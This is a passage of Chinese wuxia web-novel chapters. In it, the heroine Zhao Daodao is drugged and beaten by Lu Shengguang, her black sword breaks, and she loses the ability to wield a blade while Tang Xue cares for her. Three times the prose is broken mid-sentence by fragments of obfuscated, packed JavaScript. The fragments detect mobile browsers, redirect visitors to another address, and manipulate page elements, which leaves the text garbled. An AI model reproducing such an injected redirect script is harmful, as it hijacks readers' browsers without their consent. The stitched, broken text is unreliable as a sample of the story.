l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565404|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阁一叙。” 落款只有一个“卢”字。 “卢?”赵小刀问。“我们没见过此姓的人。” “嗯。” “唐雪的那封信呢?” “应该被他们带走了。”赵刀刀叹道,“唐雪绝不会用这种方式给我寄信,但那封信的包装确实来自唐家堡。” 赵小刀思索片刻,“莫非……有人劫了她的信?” “应该是,而且他们戏做的不全。”赵刀刀回忆道,“那些人的暗器不是唐家堡的。” 山上。 赵刀刀靠在门边,忽地想起下山前本打算回来之后把不远处屋子的屋顶铺了,现在却已无心去弄。 她自嘲道:“我还没当成第一,冤家已经多如牛毛,还都是不明来路。” 轻叹一声,赵刀刀道,“也不知道到底招谁惹谁了?” 赵小刀忽然问:“是不是你甩掉的那些人?” “过来前在佩城跟着的那些?” “不止。刀刀,你记得吗,从唐家堡出来之后,这一行总有人跟在后头找你们的麻烦。” “我记得,不过柳城门口的那些人是顾倾城找来的,后面就没有跟着了……” “但是你一离开柳城就有人试图跟上。” “嗯,他们冲我来的。” 想要杀人或许容易,躲避追杀却并不简单,赵刀刀十分不解,“可我有什么呢?” 赵小刀道,“你好像什么都没有,但又什么都有。那时候你身后有唐家堡,身边还站着佩城陆家的少爷,不过……与一件事相比起来,这些都不足为道。” “什么事?” “刀刀,你难道忘了赵逐为何而死?” “赵逐?他是中毒跳崖……不,你的意思是——” 二人异口同声道:“七绝刀法!” 赵刀刀缓缓道:“有人知道刀法,不然方英也不会认得出。” 赵小刀道:“一定在赵逐之前就有人知道,不然各大门派为何要连起来围捕他?” “但你说过不动仙人隐居避世,对此事一生都守口如瓶,直到死前才告诉赵逐……” 赵刀刀睁大了眼睛,皱眉道,“莫非派来杀手的还是当年那些人?” “可能是,此事太过蹊跷,我们得见见信中那人。” “嗯,不得不见。也不知道唐雪的信里到底写了什么……”赵刀刀摇头道:“唐家堡离这里太远了,不然我可以直接去找她。如过我现在出城,连夜赶路……” 赵小刀轻咳一声,“刀刀,你是不是忘了。再过些几天,风月城就会彻底冷起来,大雪封城,根本出不去。” “啊,我差点儿忘了……”赵刀刀道。 “毕竟赵逐也在风月城待了很久。”赵小刀道,“信里就写了那些字吗?” “嗯。”还是没头绪,赵刀刀又把那封信拿起来看了看。“十月十五,迎雪阁,卢……” 她仰起头靠着,叹道,“要是周向晚在就好了。” 赵小刀笑了笑,“即使他在又有什么不同,你还是会去见这个人。” 赵刀刀闭上眼睛,“你说的对,就算没有这封信,他不找我,我也会去找他的。” 说到此处,赵小刀又叮嘱道,“千万小心。” 赵刀刀痴痴地发了会儿呆。 站起身子提刀进入深林。 落木萧瑟,似乎有雨滴飘落,但太小了,雨丝微不可见,雨声也细不可闻。 只有林中风声愈发激烈起来,像是有人在怒吼狂啸。 惊飞鸟群一片。 67. 强弩 迎雪阁是一座很普通的亭子。 亭子不小不大,上面盖着青褐色的瓦片,木柱已经褪色,石阶下只有零碎的石板慢慢延伸到远处的大路。 四周杳无人烟,零星长着芦苇杂草。 方圆百里只找得出两座早已废弃的房屋,废屋一眼便可望尽的空荡院落里,高大的树木停止了生长化枯木,若不是生的高大,还能勉强遮风避雨,偶尔有行路之人会借此处暂作歇脚,或许连平坦的地面也难以保留。 几十年前,风月城还有四扇大门时,迎雪阁旁的小路还是一条出城捷径,但后来风月城封了两扇城门,这条路的终点成了死路,路也被一同抛下。 到今天,除了不识路的来客,本地已鲜有人会绕远路过来白走一遭。 日子久了,迎雪阁正如其名,朝朝暮暮都只能迎来风雪,不见归人,越发荒凉。 赵刀刀曾听人提起过这个地方,但这亭子与她住的山林正好方向相反,她从没来过这里。 想不到平坦的地方居然能比只有一户人的山上更荒凉。 赵刀刀抬起头看着亭子,突然眉头一皱。 按理说这里人迹罕至,但此时架着迎雪阁牌匾的亭子中间却摆着一张桌子,桌子上摆着一个瓶子,一个酒壶,一只酒杯,还有一支奇怪的花插在瓶子里。 现在正是午时,但还没有人来。 赵刀刀走进亭子,眉头皱得更紧。 她发现这桌子看起来普普通通,实际很新,最关键的是——她在霍老头店里见过这张木桌。 而那个老人她前不久才亲手安葬。 赵刀刀心中震怒,低声道:“果然是故意的……” 赵小刀问:“怎么了?” 赵刀刀冷下神色,道:“没事,他们摆了霍老头的桌子在亭子里。” “刀刀……”赵小刀知道她不久前才安葬了木匠,担忧着唤道。 “我只有一点生气。”赵刀刀道:“以前在山上,师父说:‘很多人初入江湖也并非出自本意,但身在江湖,争个高低岂不就成了一种本能。’我本来是不信的。” 赵小刀叹了口气。 赵刀刀低头看着这张熟悉的木桌,一时也分不清她到底气的是自己,还是那些甩不掉的黑衣人。 “我从前一直觉得躲着也并非什么难事,但是不是……装作没看见本就是一种错?小刀……我是不是一开始就做错了。” 如果她早些解决这些人,是不是就不会有人因她而死? 赵小刀不知此时赵刀刀脸上是何种表情,只觉得待他变成人,第一件事一定是先去抱抱她。 “你没做错。”他的声音低沉而坚定,“刀刀,这些麻烦你管或者不管,都会像苍蝇一样围过来,这不是你的错。” 赵刀刀压着眉目道,“你说得对。那姓卢的摆出这桌子,就是要我先慌了阵脚,他还没来,我要出去等他。”不必再拖下去了,一切就在今天做个了断。 “等等,刀刀。”赵小刀问,“只有一张桌子?” “不,还摆了点东西。” “什么?” 赵刀刀将情绪压下,慢慢道,“桌上放着一瓶花,一壶酒,还有一个酒杯。” “花?是什么花?” “我不认识,不过这花红中带紫,十分艳丽,装花的花瓶却简陋至极。” 赵小刀听她描述,总觉得这些东西中应当存着什么古怪,一时理不出头绪,便接着问,“酒壶和酒杯呢?” “酒壶和酒杯都是白玉制成,光洁无暇,圆润精致,里面装了酒。” 酒香从壶嘴漏出了一丝。赵刀刀虽然不懂酒,但也闻得出这是股叫人飘飘欲仙的味道,光是闻到,就叫人期待里面到底是何等佳酿。 换个嗜酒的人来或许已经倒满了酒杯。 她后退两步,“酒杯是空的,很干净。” 赵小刀还是没有头绪,道:“出去等吧。” 事情本来很简单,但这些花和酒不合时宜的出现却让人迷惑起来。 赵刀刀走出亭子,四周还是一个人都没有。 一阵阵的风夹带着寒气袭来。 现在已不是夏日,加上风月城本就寒冷,太阳挂在头顶时也不觉得多么暖和,此时太阳西斜,更添冷意。 赵刀刀却毫不觉得冷,提刀静立等信里的人过来。 脚步声是从前方传来的。 赵刀刀抬头去看,只见一人飘然而至,从视线尽头到眼前只用了短短几瞬,她皱了皱眉,握紧刀柄。 那是个长着胡子的男人,他的年纪已不算小,快到眼前时放缓了速度,慢慢踱步过来。 从始至终,他的脸上都挂着一种奇怪的笑。 赵刀刀冷声问:“你是谁?” 中年男人捋了捋胡须,缓缓道,“老夫信中……” 赵刀刀发现他的右手拇指上带着一枚玉扳指,“你姓卢?卢什么?” “小友竟不认识老夫?” 赵刀刀没说话。 男人放声大笑,“没想到武洲还有人不认识老夫,妙哉,妙哉!” 赵刀刀冷声道,“我该认识你吗?” 那人的笑僵在脸上一瞬,像假面一样不自然,他将双手背在身后,感慨道,“看来小友初入江湖,还有许多事要学啊!老夫正是卢盛光。” 话音落下,他的面上似有几分得意。 赵刀刀皱了皱眉,道:“我不是你的朋友,也不想认识你。” 她的语气平淡无波,肯定道,“那天出现的人是你。” “为何是我?老夫只是过来赴约而已。”卢盛光饶有兴趣地盯着她。 赵刀刀握紧黑刀,沉声道:“霍老头胸前有一片掌痕,你右手上的那只扳指也留在上面了。” 卢盛光将那只手拿起来在眼前看了看,似是惋惜似是无谓,“不错。唉,是我忘了,应该将尸体化掉的。” 赵刀刀瞪着他,问,“你为什么要杀他?” 卢盛光无奈地摇头,似也感到非常可惜,笑道,“因为他不肯告诉别人你住在何处——老夫本不愿杀人,可惜小友在风月城的居所实在难觅,一时想不出其他法子请小友一聚,只好出此下策了。” “请?”字音连着一声嗤笑从赵刀刀嘴中发出,她看着他的眼睛,问出最后一个问题,“你为什么要见我?” “我?”卢盛光仰天大笑几声,“看来小友真是什么都不知道了,有位朋友托老夫帮忙,请你喝一杯酒。那酒和杯你都应该见过了。” 卢盛光闭眼吸了吸鼻子,似乎在回忆那一小坛酒开封时的美好,“听说是上百年的佳酿,老夫这一路闻着也心动的很呐。”他睁开眼,“不过想来这好酒小友也喝不上了,到时候老夫就替你喝了。” 赵刀刀已经没工夫听他胡言乱语,她提起黑刀,刀尖正对卢盛光的眉心。 冷风乍起,风声更盛。 卢盛光盯着赵刀刀,叹息道:“你很守时,只可惜太过年轻,还不知道天高地厚,守着时候赶来送死。若你再练二十年,或许能与老夫有一战之力。” 赵刀刀冷哼一声。 即使这卢盛光不来找她,她也定会立刻去寻他,等二十年?简直无稽之谈! 赵刀刀快如闪电,只见蓝影一晃,霎时已攻出七刀! 卢盛光挥手去挡,他练掌法已有多年,自认手比刀剑更强,避过刀锋朝赵刀刀攻去。 只没想到赵刀刀变化更快,不知何时刀势已转,正朝着他的手劈去。 卢盛光躲过刀锋,掌化作拳与刀身相接。 一碰到黑刀,他手腕微麻,立刻撤开,冷笑道:“庄主说的不错,你的刀法果然不同!就让老夫见识见识诡悟刀的威力!” 说着他变换身法,左右出击。 赵刀刀的眼神深沉,瞳孔深处好似燃烧着一团鲜红的火焰。 卢盛光的掌法了得,她的黑刀变化更快,转瞬之间,黑刀刀刃顺着卢盛光的玉扳指划过,只是出乎赵刀刀预料,她听到的不是脆响,刀和扳指竟擦出一串火花! 赵刀刀心中一动:不是玉!竟能抗住黑刀? 她右足一点,闪到卢盛光身后,挥刀直取卢盛光的后心。 卢盛光早有准备,不避反迎,靠着一身钢筋铁骨工夫和双掌还击。 他的手变化极快,赵刀刀向后避去,循着掌法收势挥刀去砍。 却听砰的一声,黑刀猛地砍在地上,眼前哪还有卢盛光? 赵刀刀皱了皱眉,抬头看去,卢盛光正在她身前两丈远处勾起一笑。 她对自己轻功一向自信,何时落过下风?赵刀刀一时心中大震,只觉得眼前伴着风声,荒草萧萧,人影晃晃,仿佛天地也要倒转。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573810|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她轻轻摇了摇头让自己清醒些。 “你做了什么?” 卢盛光微微一笑,负手而立。 赵刀刀右脚蹬地,低喝一声,手腕一抖,冲他头、颈、胸、腹、手、脚连攻八刀,这八刀处处致命,如一张细密的黑网,便是天上的鸟在这刀影之中也无处可飞。 卢盛光四面八方,无处不被刀尖笼罩,他旋转身子,突然从身后抽出几张薄片飞射而来,乒乓几声,八张薄片被击落在地,却还有一张顺着刀势飞向赵刀刀。 赵刀刀不加阻挡,继续攻去,直到贴片飞到眼前才侧头避过。 那一瞬利器顺着她的鼻尖擦过,浑身汗毛悚然树立,久违的,她又闻到了死亡擦肩而过的味道。 赵刀刀凝目沉神,她不在乎受伤,此刻她只想杀了这个人为老木匠报仇。 她黑刀斜削,跟着下一招“墨洒向飞”顺势使出。 刀光连连,卢盛光也被这拼命的打法激出一身冷汗。 他冷笑一声:“你既赶着送死,那我就成全你!”他一手护身,一手急攻,右手成掌,袖中伸处一把锋利的短剑,左手握拳,四指之间露出三片弯曲的细小刀刃。 黑刀被卡在刀刃之间,赵刀刀“呵”的一声,运劲旋转,卢盛光不得不将左手收回。 赵刀刀砍他左腕,竟又是当的一声,她冷笑一声叹道:“好手腕啊!” 卢盛光脸色难看,却嘴角上扬,似笑非笑,嘲讽道:“小友年少轻狂,只怕没有这古怪的刀法你早跪地求饶,我倒要看看你还能撑多久!看招!” 他右手连劈带刺,赵刀刀翻身倒纵,单手撑地挥出一刀,卢盛光闪身后避。赵刀刀单膝撑地,忽地黑刀脱手,卢盛光正大为不解,就见她人如刀锋,转瞬追上黑刀握在手中顺势攻来。他向侧避过,屈身以短剑攻她下盘。 来来回回,二人已斗了几百余招。 赵刀刀轻声呼气,她面上不显,心下却大惊不已:平日练刀,她已对自己了如指掌,一天之内绝不会生出力竭之感,可与这人相斗,却感到自己力气渐渐流失,黑刀也越来越重。 此时晚霞初照,周围鲜红如火。 赵刀刀疲倦力竭,摇摇欲坠,眼前的景象已经模糊了成一片大火。 她全凭最后一口气撑着,脑海中只剩一个念头,要将一路的恩怨在此了结。 一股狂烈的掌风忽然而至,她提刀抵挡,黑刀被卢盛光左右手的兵刃绞住,赵刀刀只感觉自己的头已经比刀还重。 但她绝不会轻易倒下。 她皱着眉,却突然瞪大眼睛,看向自己的黑刀。 “刀刀!” 赵小刀还想说什么,却已没有机会! 黑刀上有一道细小的缺口。 赵刀刀听见了一声轻响,小小的缺口生出一道裂痕,蔓延开来,越来越大。像是雪崩之前,深厚雪层下那薄薄一片的雪断了口子,满山的雪便如巨浪狂奔而下,又仿佛大火熊熊燃烧,却被突来的暴雨顷刻浇熄,只剩下一地灰烬。 刀断了。 强烈的掌风将她推开五六丈远,赵刀刀后退几步,握着手里一把断刀,突然噗的一声吐出一大口血来! 一切都暗下来,只隐隐听见对面的人还在挑衅。 这人的话真是没完没了。 但她已无暇去听,也无力听清,渐渐失去意识。 迷蒙中赵刀刀只觉得自己很累很重,一直在下坠,在无尽的深渊里,她就这样不断不断地往下坠落。 赵刀刀倒在地上。 “恩人!!” 眼睛不受控制地闭上,失去意识前,赵刀刀隐隐听到了远处的呼声。 或许是错觉吧。 卢盛光冷哼一声,“撤!” 他冷笑着看向赵刀刀,中了毒还这样不要命的傻子确实不常见到。 他一向不屑杀人,让这些高手绝望疯狂岂非比杀了他们更有趣?只可惜了那支花了。 周围蹿出两个黑衣人拿起迎雪阁桌上的酒杯和玉壶,三人速速离开。 桌上只剩一个空着的花瓶。 唐雪是为给恩人一个惊喜而来,却被赵刀刀给了一个惊吓。 她赶到时只看见赵刀刀孤零零地躺在地上。 明亮刺眼的日光下,赵刀刀苍白的像是能被强光穿透的一块玉,手里还紧握着那把只剩半截的黑刀。 68. 倒转 唐雪冲过来扶起倒在地上的赵刀刀,“恩人!恩人!” 唐雪眉头紧皱,顾不上平缓呼吸,紧张地将赵刀刀从头到尾看了一遍。 见赵刀刀虽然昏睡过去,但身上并无其他伤口,呼吸平稳,提起的心终于放下一些,取出手帕擦去她嘴角的血,舒一口气。 唐二跟在后头,他此次陪唐雪来风月城就是为了找赵刀刀,只是他们要找的人找到了,却不省人事,唐雪此时也满脸忧色。 他轻轻摇了摇头,叹了口气。 唐二单膝跪在一侧,“我来背她吧,你扶她上来。” “嗯。” 唐雪侧身抹去眼眶里的泪珠,她明明觉得自己这些日子已经坚强很多,谁知见到恩人又忍不住要哭出几滴泪来。 她将赵刀刀扶到唐二背上,“你先把恩人放到车上,我来拿——”她忽然发现赵刀刀还死死握着那把黑刀,“算了……你先去。” “好。” 唐雪站起身子,环顾四周,又绕了一圈,心中疑惑不已:真是奇了怪了,这周围空无一物,那黑刀断了的一截去哪了?飞走了?被鸟叼走了?不该啊,她拿过恩人那把刀,就算断了也比寻常武器要重上许多,怎么会不翼而飞? 她细细察看了一圈,还是一无所获。 走进迎雪阁,只看见一张桌子,桌子上只有一个孤零零的不知做什么用的瓶子。亭子里还有一丝淡淡的酒香味,恩人来此喝酒? 唐雪皱了皱眉,喝酒怎么会受伤? 她想不明白,仔细确认最后一遍转身离开。 唐二请人来看,都说赵刀刀没什么大碍,就是劳累过度,唐雪不满,可接连几位大夫都这样说,她只能接受。 第二天傍晚。 唐雪在屋里踱步,双手交握,不住地扣着拇指,“唐二,你说我要不要去趟柳城把顾倾城请过来?” 唐二摇头安慰道,“不要慌,医生都说了没事,你该好好等着,不然等她醒来,你反而要病倒了。” 唐雪咬着下唇,嘴上的皮被她一点点撕掉,“他们口口声声都说没事,可这哪儿是没事的样子?要是真没事,恩人为什么一天过去还不醒来?”说着她看向赵刀刀,又忍不住走近看了眼陪着赵刀刀躺在床边的黑刀。 早上唐雪来看时,赵刀刀已经松开了那半截黑刀,只是手还虚虚搭在刀柄上面。 黑刀在床边放着,唐二本想拿开,唐雪想及恩人对黑刀的喜爱,觉得放着也没什么,就任由黑刀放在那里。 不过为此倒是挪了床,为了让黑刀向里,别明晃晃露在外面。 即便如此,过来瞧病的几位医生还是战战兢兢,生怕床上这位梦中还要拿刀的煞星突然暴起伤人。 虽然唐家给的报酬不低,可一个躺在床上还拎着刀的病人,总还是令人心生畏惧,小命重要,小命重要。 唐雪走来走去,急得口干舌燥,唐二递来一杯茶,她接过一口喝干,将茶杯递回去,“你说……”她忽然瞪大了眼睛。 “咳!咳!”赵刀刀突然坐起咳嗽不止。 “恩人!”唐雪跑几步,坐到床边轻拍她的背,“恩人,你怎么样,有哪里难受吗?” 赵刀刀蜷曲着上半身,撑着床栏弯腰接连咳了几声,直到吐出一口血才渐渐停下。 她用手抹过唇角,缓了缓道,“我没事。” 红色为她的脸增添了一丝血色。 “你……”她靠着床头,一时不知今夕何夕,看着唐雪发起呆来。 唐雪担忧地看着她。 赵刀刀回过神,突然低头看向手边黑刀,黑刀只剩下半截,她心中一凉。 她轻轻动了动手指,磕在黑刀上,刀身坚硬冰冷,一丝回音也无。 唐雪拿来水让赵刀刀漱口。 赵刀刀将茶盏递回,看向唐雪,问:“这是在哪……?” 唐雪点头道:“我们还在风月城,你身上有哪里疼吗,怎么会吐血?” 赵刀刀“哦”了一声,强打精神,勾起一个笑安慰道:“不疼,我没事了,真的。”又问:“你们怎么来了?” 唐雪疑惑道:“我信中有写,要来看望恩人的呀。” 赵刀刀一愣,“哦。”她没有看到那封信。 唐雪小心翼翼道:“不过我们是比信上说的时候早到了点……” 她看着赵刀刀将身子又撑起了些,道,“恩人,我一直没有收到你的回信。” 赵刀刀有些抱歉地看着她,示意她继续说。 “到这里后,我和唐二本打算安顿好就去找你,可下楼时听人说看见一个女子带着黑刀往城郊去了,我当时就想那会不会是你,拉着唐二出门来找,没想到还真是!” 赵刀刀虚弱地笑了笑,道:“真巧。” 唐雪点点头,“是啊。可是……”她犹豫着该不该问:”恩人,你怎么会倒在那里呢,还受了伤?” 赵刀刀道:“技不如人。” 唐雪又说了几句,见赵刀刀神色疲惫,看了唐二一眼,道:“恩人,那你先歇着,我和唐二先出去了,有什么需要的就来隔壁找我。” “好。” 唐雪担忧地看了赵刀刀最后一眼,关上门。 她一定注意到了,但是半句都没有提过黑刀。 赵刀刀穿好鞋子,系好外衫,看着那半截黑刀,一时说不清自己心中滋味。 她伸手去拿,和想象中不同,黑刀毫不冰冷,只是轻如鸿毛。 赵刀刀忽然有种不详的预感,心中一揪,脱口而出,“不!” “不——” 话音落下,剩下的半截黑刀已如流沙般穿过指缝,消散在空中。 赵刀刀的眼眶红了,伸手在空中挽留,只是徒劳。 她攥紧五指,指甲戳进手心。 她手里什么也没有了。 赵刀刀神情恍惚,一时只觉曾经种种,仿佛大梦一场,此刻都随风而逝,做不得真。 “小刀……” 她颤抖着抚上自己胸膛,觉得那里有冷风穿过,寒意遍布全身。 明明张着嘴却无法呼吸,她掐住脖子汲取空气,一转头,发现桌上铜镜里映出一张憔悴的脸,已经落满了泪。 赵刀刀禁不住惨笑一声,无力撑着自己蹲下身子,将自己蜷缩成一团,手捂在脸上,呜咽流泪。 她一向是不哭的,此刻也该坚强些,但泪水却无法止住。 不知为何,浑身上下的骨肉也仿佛被什么渐渐吞噬,透出密密麻麻的痛意。 暗红的瞳孔被洗的发红发亮,赵刀刀在房中待到深夜,哭干了泪。 唐雪第三天早上再见到赵刀刀时,已经不见那半截黑刀,问起时赵刀刀只淡淡道:“刀断了,剩下那些留着也没用,我扔了。” 唐雪一时无言,思索道:“恩人,不知你在风月城住在何处,唐二昨日找了一处院落,已经安顿好了,我和他打算在此暂住,你……愿意搬去吗?” 赵刀刀没有拒绝,极淡地笑了下,“好啊。” 唐雪没想到她答应的这么快,不过转念一想,恩人一贯如此。 她问,“恩人还有什么东西要带吗,我陪你去取,或者我在这里等你?” “没有。”赵刀刀摇头道,“我没有什么要带,走吧。” 到住处。 唐雪终于透露一点过来的缘由,压低声音道,“恩人,风波已起,外面现在很乱,你现在待在风月城或者柳城都好,不要再往水城那边走了。” 赵刀刀有些走神,似乎没听到她说了什么,只愣愣地点了点头。 唐雪想了想,叮嘱道:“或许现在还看不出什么,只是江湖中暗流涌动,近来武洲出现了很多没有来路的人。” 赵刀刀神色一动,“没有来路?” “恩人可知道外面的人进武洲要过唐家擂台?” 赵刀刀点头,“嗯。” “这些人都是些从没上过擂台,也说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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至于刀法……赵刀刀自从见过方英就有种感觉,或许不止方英一人,这里应当还有人认识她的刀法。果然有人发现了。 “对了!”唐雪又道,“我最近在风月城寻了好几把刀,恩人可以先试试,若是不满意,我再去陆家订些来。” 赵刀刀一愣,笑道:“好,不过不用那么麻烦,一把就够用了。”她见唐雪有些坐不住,道:“你还有事吧,去忙吧,我没事的。” 唐雪不舍道,“嗯,那些刀我都放在你房里了,恩人记得去看。” “好。” 待送走唐雪,赵刀刀走进自己房中。 刀架上放着三把刀。 赵刀刀拎起一把,转动手腕,在刀柄上一点点变换位置抓握,始终找不到熟悉的感觉。 她垂眸看着手中的刀,太轻了,轻若无物。 她走到院中,横刀而立,正要抬手挑起刀尖斜劈而下,手腕却一抖,刀重重砸在地上。 赵刀刀愣了片刻,皱着眉弯腰捡起刀,提刀向空中斩去,气势乍起,又陡然落空,刀再次重击落地。 来来回回,赵刀刀试了几十回,她头上脸上全是汗水,曾经熟悉的刀法却一个也使不出来。 到最后连这轻飘飘的一把刀,竟也无法握稳。 兵刃又重重地砸在地上。 赵刀刀觉得自己有些可笑,这把刀几经折磨,还完好无损地躺着,自己却比它摔得更烂。 她脑海中不断回想起刀断那一幕,直到此刻恍然惊觉,原来不是刀断了,而是她一直绷着的那根弦断了。 她突然扶住胸口,弯着腰止不住地呕吐起来。 一时间,浑身的力气都被抽干,如银瓶泄地,只剩空荡荡的躯壳。 她哑了声说不出话,喘着气跪在地上。 身躯蜷缩地越来越小,像是一只困兽,牢笼不断紧缩,已经扎进她的骨肉。 赵刀刀死死咬住舌尖想让情绪平复,然而心脏好像被一只手攥紧,痛得不能自已。 她揪住衣襟,克制不住的颤抖,脑袋里的一切都被搅在一起,再也不能寻得片刻清醒。 没用,什么都没用。 “赵小刀,你没说啊……” “你没说过啊……” 他只是让她等着。 可黑刀都不在了,她还该不该等,又还等不等得到啊。 69. 夜奔 院子里啄食的鸟扑闪着翅膀飞走了,只剩下静悄悄的风在流动。 唐雪回来时,院中无人。 她心中不安,快步走到赵刀刀门口,推开屋门。 她的手扶在门上静止了,屋子里三把刀好好地放在刀架上,一切都是刚打扫好的样子,没有任何变化。 唐雪面露焦急,走出屋子,呼唤道:“恩人?!刀刀?”恩人走了? 她走过每个角落,最后又回到院落中央,心渐渐凉下去。 她站在原地一时不知如何是好,忽然,头顶传来了一道沙哑的声音。 “嗯?” 唐雪闻声抬头望去,穿过层层树叶的间隙,高处的枝干上有一个人。 赵刀刀坐在树上,头发有些凌乱,正懒洋洋地眯着眼睛看向自己,似乎才醒来。 唐雪又惊又喜,努力平复心情,笑道,“恩人怎么跑到树上去了?” 赵刀刀靠着树,火红的暮光映在她的脸侧,暖洋洋的。她活动着身体坐直了,道:“你要上来吗,从这里能看见风月城的城墙。”她顶着日光侧头看了一眼,“挺好看的。” 顺着她的动作,有一瞬间唐雪看见赵刀刀一只眼睛被映的鲜红亮丽,仿佛要滴出血来,另一只眼睛避着光,在阴影中幽深黑暗。 唐雪第一次注意到赵刀刀的皮肤如此苍白。 往日赵刀刀身上自有一股气势盖住了外表,不觉得什么,今天的她却格外不同,坐在高处,身形被落日余晖笼罩着看不清楚,好像随时会在暮色中消散,显得脆弱而单薄。 唐雪忍不住要轻呼出声,赵刀刀一转过头,那双眼睛又和往日一样平静无波了,人也恢复了平时的样子。 原来是错觉吗? 唐雪摇了摇头,“太高了,我不上去啦。” 赵刀刀“嗯”了一声,又望了一眼城墙那边,从树梢间几个起落,回到唐雪身边。 唐雪问,“恩人试过那些刀了吗,怎么样?是不趁手吗?我再去找些来给你挑?” 赵刀刀拍打着衣服上的尘土的动作一顿,“刀都是好刀,只是我用不上了。”她继续动作,收拾完看向唐雪。 唐雪一愣,“用不上……” 赵刀刀无意瞒她,说得轻描淡写,“我现在使不出刀。” “怎么会?”唐雪按捺住心中的激动,恩人肯把这事告诉她,几乎等于将自己的命托付于她,她们已是这样亲密无间的朋友……她有些高兴,但更多担忧:“为什么?是伤还没好吗,我们再去找大夫……” “不用。”赵刀刀拦住她,“我身上没什么伤。” “那天究竟发生了什么,为什么我发现恩人的时候……你已经倒在地上?是不是有人用了什么诡计?恩人,我们去找他……”唐雪抓住赵刀刀的胳膊。 “你和唐二不是还要忙着找人吗?”赵刀刀笑了笑,拂下她的手,“没事,就是我说的那样,技不如人罢了。他的仇我会自己去算的,不要太担心啦,况且我只是现在用不了刀而已,或许过两天就好了。” 她说的轻松,也不知道是在劝唐雪还是劝自己。 唐雪听她这么说松了一口气,虽然心中仍觉事有蹊跷,却不再紧逼追问,道:“既然这样,那恩人就好好地休息一段时间,多吃些养好身体也不错。” 正好唐二快回来了,唐雪和赵刀刀朝门口走去。 太阳彻底落下了,风月城的寒意不受遮掩地席卷而来。 天越来越冷。 那天之后,赵刀刀再没有在唐雪面前提起过练刀。 她私下里不断尝试,然而两天、三天、小半个月过去,还是没有任何好转。 每每尝试,屡屡受挫,她的手手一拿起刀就开始颤抖,烂熟于心的刀法半点也使不出来。 再试下去,也只是更确认了自己无法使刀这点。 她已是个废人。 这天唐雪回来的很晚。 赵刀刀看着夜色问,“唐二还没回来吗?”往常这个时间唐雪和唐二应该都回来了。 唐雪摇了摇头,“我们来的路好像封了,唐二去确认了。” 封城?赵刀刀想起什么,道:“风月城是有封城的规矩,好像风雪来时就会封城……” 最近已飘过两场小雪。 唐雪面露难色,“我和爹爹说一月就会回去……”她知道风月城会在冬天封城,只是没想到来的这么快,现在还不到冬天,不过下了两场小雪,路就被封住了。 赵刀刀算了算,现在离一月还早,听说封城之后要到春天才会开城门,那会儿年都过完了,“封城之后至少要到来年二月才会再开城门,你们……” 唐雪眼神复杂地看向赵刀刀,她来之前觉得恩人在风月城待着没有什么,但看到她的状态之后,心中担忧,生出了一个念头,想说服赵刀刀也跟他们一起回唐家,没想到这打算来不及提,就要夭折。 这几天恩人都有定时吃饭休息,可她不但没有恢复精神,反而日渐消瘦憔悴。 唐雪犹豫片刻,问:“等风雪过去,恩人愿意和我一起回水城吗?” 赵刀刀没察觉唐雪的紧迫,只是觉得现在的自己去了和没去都没什么差别。 即使唐堡主还能毫无芥蒂地接受她,她又怎么好意思留在唐家?她已经麻烦了唐雪很久,没想到在风月城还要被人照顾,近来已经想回到山上的小屋去。 “我?我没事的,在这里待着就行。” 唐雪摇了摇头,沉思道:“算了,不回去也没事,唐家在这里还有几个弟子,等唐二回来,我们就联络各处聚到这里,到时候寄信给爹爹,他不会太担心的。” 赵刀刀心中歉意更甚,唐雪为了找她来到这里,自己非但没能帮上她半点,还拖累他们被困在风月城里不能及时回去。 茶水咕嘟咕嘟地响了,唐雪走过去将茶壶拿起,倒了两杯。 递给赵刀刀一杯,自己捧着一杯,轻声道:“恩人最近还是不能……” “嗯。” “为什么?”唐雪试探道:“是因为……恩人的那把刀?”她一直没有提起过黑刀,直到现在,终于将深埋的问题问出。 赵刀刀一愣,刀断情景和黑刀化作沙尘消散那幕又在脑海中重现,藏在角落的隐痛卷土重来,心脏也随着感到针扎般的刺痛。 她垂着眼假装思考,咬紧牙关,不露出一丝呻吟,唯有握住杯子的指尖用力到发白。 缓过劲儿,待不那么痛了,道:“是有些关系。” 唐雪不解,但依旧笃定地看着她,“恩人,我相信你……” 江湖上也有人功法奇特,必须配以特殊兵器才能发挥威力,但唐雪看得出来,赵刀刀是那种即使换了武器也不影响本身厉害的侠客,一花一叶在她手中皆可伤人,或许恩人只是习惯了一直带着黑刀,现在还不打算用新兵器。 唐雪以为赵刀刀失去了一把神兵利器,太过惋惜才会如此,提议道:“恩人,实在不行,我们再去找一把一样的黑刀?” 或许有些东西失去了才会觉得重要,但于赵刀刀来说,那把黑刀从来都独一无二,重要无比。她闭了闭眼睛,眉头微皱,“不会再有那样一把黑刀了。” “天下之大,要找人或许很难,可只是要找一把特别的兵器,有唐家,还有陆家帮忙,又有什么找不到?” 赵刀刀冷声道,“找不到的。” “不试试怎么知道呢?” 赵刀刀放下茶盏,“唐雪,找不到的。” 唐雪再问,赵刀刀起身道:“唐二回来了。” 唐雪看了她最后一眼离开。 赵刀刀看她出了门,放在桌上的手紧扣桌边,按着胸膛弯下了腰。 她皱着眉不停抽气缓和痛意,半晌才坐回位子,将后背靠在椅子上恢复力气。 唐雪在等唐二,这些日子她也一直在等。 空荡荡的庭院寒冷肃杀,刀早就没了,不会再来找她了。 唐雪去问唐二情况如何。唐二打探了一天,碰了一鼻子灰,封城之后没有途中再开的例外,他们进来那扇城门已经关死了,看来只能在风月城多待些日子。 唐雪有些恼恨,早知如此,应该多带些东西,不应一切从简的。 